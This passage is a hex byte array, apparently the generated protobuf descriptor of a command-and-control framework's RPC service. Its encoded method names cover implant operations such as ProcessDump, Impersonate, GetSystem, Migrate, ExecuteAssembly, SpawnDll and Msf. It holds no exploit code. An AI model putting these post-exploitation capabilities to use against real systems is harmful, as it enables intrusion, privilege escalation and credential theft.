0x1a, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, + 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, + 0x41, 0x0a, 0x11, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, + 0x72, 0x4d, 0x61, 0x70, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, + 0x61, 0x70, 0x12, 0x4c, 0x0a, 0x11, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, + 0x6f, 0x64, 0x65, 0x72, 0x41, 0x64, 0x64, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, + 0x72, 0x1a, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, + 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, 0x73, + 0x12, 0x3d, 0x0a, 0x10, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, + 0x65, 0x72, 0x52, 0x6d, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x1a, 0x0f, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, + 0x2f, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, + 0x12, 0x2f, 0x0a, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x11, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x1a, 0x11, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, + 0x65, 0x12, 0x33, 0x0a, 0x0d, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, + 0x76, 0x65, 0x12, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, + 0x62, 0x73, 0x69, 0x74, 0x65, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x43, 0x0a, 0x11, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, + 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1b, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, + 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x46, 0x0a, 0x14, 0x57, + 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6e, 0x74, + 0x65, 0x6e, 0x74, 0x12, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, + 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, + 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, + 0x69, 0x74, 0x65, 0x12, 0x49, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, + 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1e, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, + 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x26, + 0x0a, 0x04, 0x50, 0x69, 0x6e, 0x67, 0x12, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x50, 0x69, 0x6e, 0x67, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x50, 0x69, 0x6e, 0x67, 0x12, 0x23, 0x0a, 0x02, 0x50, 0x73, 0x12, 0x0f, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x73, 0x12, 0x38, 0x0a, 0x09, 0x54, + 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, + 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x65, 0x72, 0x6d, + 0x69, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x66, 0x63, + 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x32, 0x0a, 0x07, + 0x4e, 0x65, 0x74, 0x73, 0x74, 0x61, 0x74, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x4e, 0x65, 0x74, 0x73, 0x74, 0x61, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4e, 0x65, 0x74, 0x73, 0x74, 0x61, 0x74, + 0x12, 0x23, 0x0a, 0x02, 0x4c, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x4c, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x12, 0x24, 0x0a, 0x02, 0x43, 0x64, 0x12, 0x0f, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0d, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x12, 0x26, 0x0a, 0x03, 0x50, + 0x77, 0x64, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x77, + 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0d, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x50, 0x77, 0x64, 0x12, 0x23, 0x0a, 0x02, 0x4d, 0x76, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x76, 0x12, 0x23, 0x0a, 0x02, 0x43, 0x70, 0x12, 0x0f, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x70, 0x52, 0x65, 0x71, 0x1a, + 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x70, 0x12, 0x23, 0x0a, + 0x02, 0x52, 0x6d, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, + 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x52, 0x6d, 0x12, 0x2c, 0x0a, 0x05, 0x4d, 0x6b, 0x64, 0x69, 0x72, 0x12, 0x12, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x6b, 0x64, 0x69, 0x72, 0x52, 0x65, 0x71, 0x1a, + 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x6b, 0x64, 0x69, 0x72, + 0x12, 0x35, 0x0a, 0x08, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x15, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, + 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x44, + 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x2f, 0x0a, 0x06, 0x55, 0x70, 0x6c, 0x6f, 0x61, + 0x64, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x70, 0x6c, + 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x29, 0x0a, 0x04, 0x47, 0x72, 0x65, 0x70, + 0x12, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x72, 0x65, 0x70, + 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, + 0x72, 0x65, 0x70, 0x12, 0x2c, 0x0a, 0x05, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x12, 0x12, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x52, 0x65, 0x71, + 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6d, 0x6f, + 0x64, 0x12, 0x2c, 0x0a, 0x05, 0x43, 0x68, 0x6f, 0x77, 0x6e, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6f, 0x77, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x0f, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6f, 0x77, 0x6e, 0x12, + 0x32, 0x0a, 0x07, 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x52, 0x65, 0x71, + 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x74, 0x69, + 0x6d, 0x65, 0x73, 0x12, 0x37, 0x0a, 0x0c, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x4c, + 0x69, 0x73, 0x74, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, + 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x0c, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x12, 0x3e, 0x0a, 0x0b, + 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x41, 0x64, 0x64, 0x12, 0x18, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x41, + 0x64, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x41, 0x64, 0x64, 0x12, 0x3b, 0x0a, 0x0a, + 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, 0x6d, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, 0x6d, + 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, + 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, 0x6d, 0x12, 0x2c, 0x0a, 0x05, 0x4d, 0x6f, 0x75, + 0x6e, 0x74, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x6f, + 0x75, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x4d, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x3e, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x63, 0x65, + 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, 0x52, 0x65, 0x71, + 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x72, 0x6f, 0x63, + 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, 0x12, 0x2c, 0x0a, 0x05, 0x52, 0x75, 0x6e, 0x41, 0x73, + 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x75, 0x6e, 0x41, + 0x73, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x52, 0x75, 0x6e, 0x41, 0x73, 0x12, 0x3e, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, 0x6f, + 0x6e, 0x61, 0x74, 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, + 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x38, 0x0a, 0x09, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, + 0x6c, 0x66, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, + 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, 0x66, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, 0x66, 0x12, + 0x38, 0x0a, 0x09, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x12, 0x16, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, + 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x12, 0x29, 0x0a, 0x04, 0x54, 0x61, 0x73, + 0x6b, 0x12, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, + 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x54, 0x61, 0x73, 0x6b, 0x12, 0x27, 0x0a, 0x03, 0x4d, 0x73, 0x66, 0x12, 0x10, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x33, 0x0a, + 0x09, 0x4d, 0x73, 0x66, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x52, + 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, + 0x73, 0x6b, 0x12, 0x4a, 0x0a, 0x0f, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x41, 0x73, 0x73, + 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, + 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, + 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x12, 0x32, + 0x0a, 0x07, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, + 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x69, 0x67, 0x72, 0x61, + 0x74, 0x65, 0x12, 0x32, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x12, 0x14, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, + 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, + 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x12, 0x40, 0x0a, 0x0e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, + 0x65, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x57, 0x69, 0x6e, 0x64, 0x6f, + 0x77, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x12, 0x4a, 0x0a, 0x0f, 0x45, 0x78, 0x65, 0x63, + 0x75, 0x74, 0x65, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x12, 0x1c, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x43, 0x68, + 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x43, 0x68, 0x69, 0x6c, + 0x64, 0x72, 0x65, 0x6e, 0x12, 0x35, 0x0a, 0x08, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, + 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x69, 0x64, 0x65, + 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x3b, 0x0a, 0x08, 0x53, + 0x70, 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x49, 0x6e, 0x76, 0x6f, 0x6b, 0x65, 0x53, 0x70, 0x61, 0x77, 0x6e, 0x44, 0x6c, + 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x53, 0x70, 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x12, 0x3b, 0x0a, 0x0a, 0x53, 0x63, 0x72, 0x65, + 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x1a, + 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65, + 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x50, 0x0a, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, + 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b, + 0x65, 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b, + 0x65, 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x35, 0x0a, 0x08, 0x53, 0x65, 0x72, 0x76, 0x69, + 0x63, 0x65, 0x73, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, + 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x12, 0x44, + 0x0a, 0x0d, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x44, 0x65, 0x74, 0x61, 0x69, 0x6c, 0x12, + 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, + 0x63, 0x65, 0x44, 0x65, 0x74, 0x61, 0x69, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x44, 0x65, + 0x74, 0x61, 0x69, 0x6c, 0x12, 0x4c, 0x0a, 0x12, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72, + 0x76, 0x69, 0x63, 0x65, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 